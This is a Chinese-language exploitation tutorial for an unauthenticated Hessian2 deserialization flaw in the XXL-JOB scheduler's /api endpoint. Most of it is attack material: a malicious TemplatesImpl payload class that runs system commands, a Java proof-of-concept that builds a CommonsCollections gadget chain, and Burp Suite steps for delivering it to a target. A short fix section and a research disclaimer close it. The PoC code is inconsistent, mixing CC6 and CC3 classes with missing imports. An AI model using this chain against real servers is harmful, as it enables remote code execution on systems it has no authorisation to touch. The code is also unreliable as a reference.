XXL-JOB API未授权Hessian反序列化漏洞研究与利用详解
1. 漏洞概述
XXL-JOB是一个流行的分布式任务调度平台。在其某些版本中,由于配置不当或默认配置,用于接收执行器(Executor)回调的API接口(/api)存在未授权访问漏洞。攻击者可以利用此漏洞,向该接口发送精心构造的Hessian2反序列化数据,从而在目标服务器上执行任意代码,实现远程代码执行(RCE)。
漏洞核心成因:
- 未授权访问:
/api接口未做有效的身份认证或鉴权。 - Hessian反序列化:该接口使用Hessian2协议进行通信,并直接反序列化客户端传入的数据。
- 存在危险依赖:项目中依赖了包含危险基础库(如
commons-collections),为反序列化利用链提供了条件。
2. 环境搭建与漏洞定位
2.1 环境搭建
- 下载有漏洞版本:从GitHub releases页面下载历史版本,例如
2.2.0或更早的版本。 - 部署调度中心(Admin):解压后,初始化数据库,修改
xxl-job-admin模块的application.properties中的数据库连接配置,然后启动项目。默认端口为8080。 - 访问管理界面:
http://your-ip:8080/xxl-job-admin,默认账号密码为admin/123456。
2.2 漏洞接口定位
漏洞存在于调度中心(Admin)接收执行器回调的端点。
- URL:
http://your-ip:8080/xxl-job-admin/api - 方法:
POST - Content-Type:
application/x-www-form-urlencoded - 数据格式:请求体(body)中的内容是Hessian2序列化后并经过URL编码的二进制数据。
3. 漏洞原理分析
XXL-JOB的执行器在执行完任务后,需要向调度中心回调执行结果。这个通信过程使用的是Hessian2序列化协议。
com.xxl.job.core.rpc.netcom.NetComServerFactory#invokeService 方法是处理入口请求的核心。它调用 JettyServerHandler#handle 最终会调用到 XxlRpcProviderFactory#invokeService 方法。
关键的反序列化步骤发生在:
com.xxl.rpc.util.XxlRpcSerializer#deserialize 中,它根据请求的 XXL-RPC-SERIALIZER-CODE 头来决定序列化方式。默认情况下,HESSIAN 的 code 为 1。
处理流程简化如下:
- 从HTTP请求中读取输入流。
- 识别序列化方式(默认为Hessian)。
- 直接使用
Hessian2Input对输入流进行反序列化,还原远程调用对象(如XxlRpcRequest)。 - 如果攻击者未经授权直接向
/api发送请求,并且请求体中是被恶意构造的Hessian2序列化数据(而非正常的XxlRpcRequest对象),那么在反序列化过程中就会触发利用链,执行恶意代码。
由于XXL-JOB依赖了commons-collections等常见库,使得经典的CommonsCollections利用链(如CC1, CC3, CC6等)可以被使用。
4. 漏洞复现与利用(Javachain打法)
“Javachain”通常指利用TemplatesImpl这类最终能执行字节码的链,常与CommonsCollections等链结合。这里以经典的CommonsCollections6 + TemplatesImpl链为例。
4.1 准备工作
- 工具:
- Java IDE (IDEA/Eclipse)
- Burp Suite
- Marshalsec (或其他用于启动恶意RMI/LDAP服务的工具)
- 依赖JAR包:
commons-collections-3.2.1.jar(或其他3.x版本)hessian-4.0.66.jar(或其他版本,需与目标大致匹配)
4.2 利用步骤
步骤一:生成恶意字节码
首先,我们需要将要执行的Java代码编译成字节码(.class文件),然后将其嵌入到序列化数据中。通常使用javac编译一个简单的类。
// EvilClass.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.IOException;
public class EvilClass extends AbstractTranslet {
public EvilClass() throws IOException {
super();
// 你的恶意代码,例如执行系统命令
Runtime.getRuntime().exec("calc.exe"); // Windows弹计算器
// Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "touch /tmp/pwned"}); // Linux
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws TransletException {
}
}
使用 javac EvilClass.java 进行编译,得到 EvilClass.class 文件。
步骤二:构造Gadget链(CC6 + TemplatesImpl)
我们需要编写一个Java程序,利用CommonsCollections6和TemplatesImpl来构造一个恶意的对象链,这个链在反序列化时会触发TemplatesImpl加载并初始化我们的EvilClass,从而执行构造函数中的代码。
// XxlJobHessianPOC.java
import com.xxl.rpc.serialize.impl.HessianSerializer;
import com.xxl.rpc.util.XxlRpcSerializer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class XxlJobHessianPOC {
public static void main(String[] args) throws Exception {
// 1. 创建包含恶意字节码的TemplatesImpl对象
TemplatesImpl templates = createTemplatesImpl();
// 2. 构造CC6利用链
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
// 3. 通过反射将真正的恶意transformers设置回去
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// 4. 触发漏洞的入口点通常是HashMap的readObject,但我们需要将其包装成Hessian序列化格式
// 创建一个包含恶意对象的HashMap
HashMap rootMap = new HashMap<>();
rootMap.put("pwn", expMap);
// 5. 使用XXL-JOB自身的Hessian序列化器进行序列化
HessianSerializer hessianSerializer = new HessianSerializer();
byte[] serializedData = hessianSerializer.serialize(rootMap);
// 6. 输出序列化后的数据(通常需要URL编码后通过Burp发送)
System.out.println(java.util.Base64.getEncoder().encodeToString(serializedData));
// 或者直接写入文件,供Burp Suite使用
// java.nio.file.Files.write(java.nio.file.Paths.get("poc.bin"), serializedData);
}
private static TemplatesImpl createTemplatesImpl() throws Exception {
// 读取之前编译好的恶意类字节码
byte[] classBytes = java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("path/to/your/EvilClass.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Hello");
setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
注意:上述代码中的 TrAXFilter 和 InstantiateTransformer 是CC3链的关键,需要正确导入。你需要确保POC项目的依赖完整。
步骤三:发送恶意请求
- 运行POC程序:将上述Java程序运行,它会生成一段Hessian2序列化后的二进制数据(Base64编码或直接输出到文件
poc.bin)。 - 使用Burp Suite:
- 拦截一个发送到
http://target-ip:port/xxl-job-admin/api的POST请求。 - 将请求体(body)全部替换为POC生成的二进制数据(如果是文件,使用Burp的
Paste from file功能;如果是Base64,解码后粘贴)。 - 非常重要:设置Content-Type请求头为
application/x-www-form-urlencoded。 - 发送请求。
- 拦截一个发送到
如果目标环境存在漏洞且利用链适用,恶意代码(如弹出计算器)将会被执行。
5. 修复建议
- 升级版本:升级XXL-JOB到最新版本。官方已修复此问题。
- 启用认证:如果无法升级,确保为
/api接口配置了身份认证和鉴权。可以在WebInterceptor或通过Spring Security等框架添加访问控制。 - 网络隔离:将调度中心部署在内网,禁止其API端口直接暴露到公网。
- 依赖安全:检查并移除不必要的危险依赖(如
commons-collections),或升级到已修复反序列化问题的版本(但此法可能影响程序功能)。
6. 总结
该漏洞是一个典型的 “未授权访问 + 不安全反序列化” 组合漏洞。利用过程的关键在于:
- 识别未授权的Hessian端点。
- 根据目标ClassPath中的库,选择合适的反序列化利用链(如CommonsCollections系列)。
- 构造恶意Gadget链,并将其序列化为Hessian2格式。
- 通过未授权接口发送恶意负载。
理解并复现此漏洞,需要对Java反序列化原理、常见利用链(CC链)以及Hessian协议有深入的了解。
免责声明:本文仅用于安全研究和教育目的。请勿将其用于任何非法或未授权的测试活动中。